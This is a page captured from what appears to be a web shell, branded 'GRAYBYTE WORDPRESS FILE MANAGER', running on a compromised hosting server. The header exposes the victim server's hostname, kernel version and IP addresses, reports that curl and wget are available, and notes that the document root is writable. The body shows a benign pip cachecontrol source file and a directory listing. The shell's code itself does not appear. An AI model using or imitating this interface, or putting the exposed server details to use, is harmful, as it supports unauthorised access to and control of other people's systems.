✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.36
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/python27/lib/python2.7/site-packages/pip/_vendor/cachecontrol//filewrapper.py
from io import BytesIO


class CallbackFileWrapper(object):
    """
    Small wrapper around a fp object which will tee everything read into a
    buffer, and when that file is closed it will execute a callback with the
    contents of that buffer.

    All attributes are proxied to the underlying file object.

    This class uses members with a double underscore (__) leading prefix so as
    not to accidentally shadow an attribute.
    """

    def __init__(self, fp, callback):
        self.__buf = BytesIO()
        self.__fp = fp
        self.__callback = callback

    def __getattr__(self, name):
        # The vaguaries of garbage collection means that self.__fp is
        # not always set.  By using __getattribute__ and the private
        # name[0] allows looking up the attribute value and raising an
        # AttributeError when it doesn't exist. This stop thigns from
        # infinitely recursing calls to getattr in the case where
        # self.__fp hasn't been set.
        #
        # [0] https://docs.python.org/2/reference/expressions.html#atom-identifiers
        fp = self.__getattribute__("_CallbackFileWrapper__fp")
        return getattr(fp, name)

    def __is_fp_closed(self):
        try:
            return self.__fp.fp is None

        except AttributeError:
            pass

        try:
            return self.__fp.closed

        except AttributeError:
            pass

        # We just don't cache it then.
        # TODO: Add some logging here...
        return False

    def _close(self):
        if self.__callback:
            self.__callback(self.__buf.getvalue())

        # We assign this to None here, because otherwise we can get into
        # really tricky problems where the CPython interpreter dead locks
        # because the callback is holding a reference to something which
        # has a __del__ method. Setting this to None breaks the cycle
        # and allows the garbage collector to do it's thing normally.
        self.__callback = None

    def read(self, amt=None):
        data = self.__fp.read(amt)
        self.__buf.write(data)
        if self.__is_fp_closed():
            self._close()

        return data

    def _safe_read(self, amt):
        data = self.__fp._safe_read(amt)
        if amt == 2 and data == b"\r\n":
            # urllib executes this read to toss the CRLF at the end
            # of the chunk.
            return data

        self.__buf.write(data)
        if self.__is_fp_closed():
            self._close()

        return data


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
1 May 2025 1.22 PM
root / linksafe
0755
caches
--
1 May 2025 1.22 PM
root / linksafe
0755
__init__.py
0.295 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
__init__.pyc
0.643 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
_cmd.py
1.265 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
_cmd.pyc
2.371 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
adapter.py
4.768 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
adapter.pyc
4.155 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
cache.py
0.786 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
cache.pyc
3.155 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
compat.py
0.679 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
compat.pyc
0.856 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
controller.py
13.817 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
controller.pyc
10.327 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
filewrapper.py
2.474 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
filewrapper.pyc
3.19 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
heuristics.py
3.975 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
heuristics.pyc
6.954 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
serialize.py
6.925 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
serialize.pyc
6.661 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
wrapper.py
0.674 KB
13 Nov 2023 9.11 PM
root / linksafe
0644
wrapper.pyc
0.956 KB
13 Nov 2023 9.11 PM
root / linksafe
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF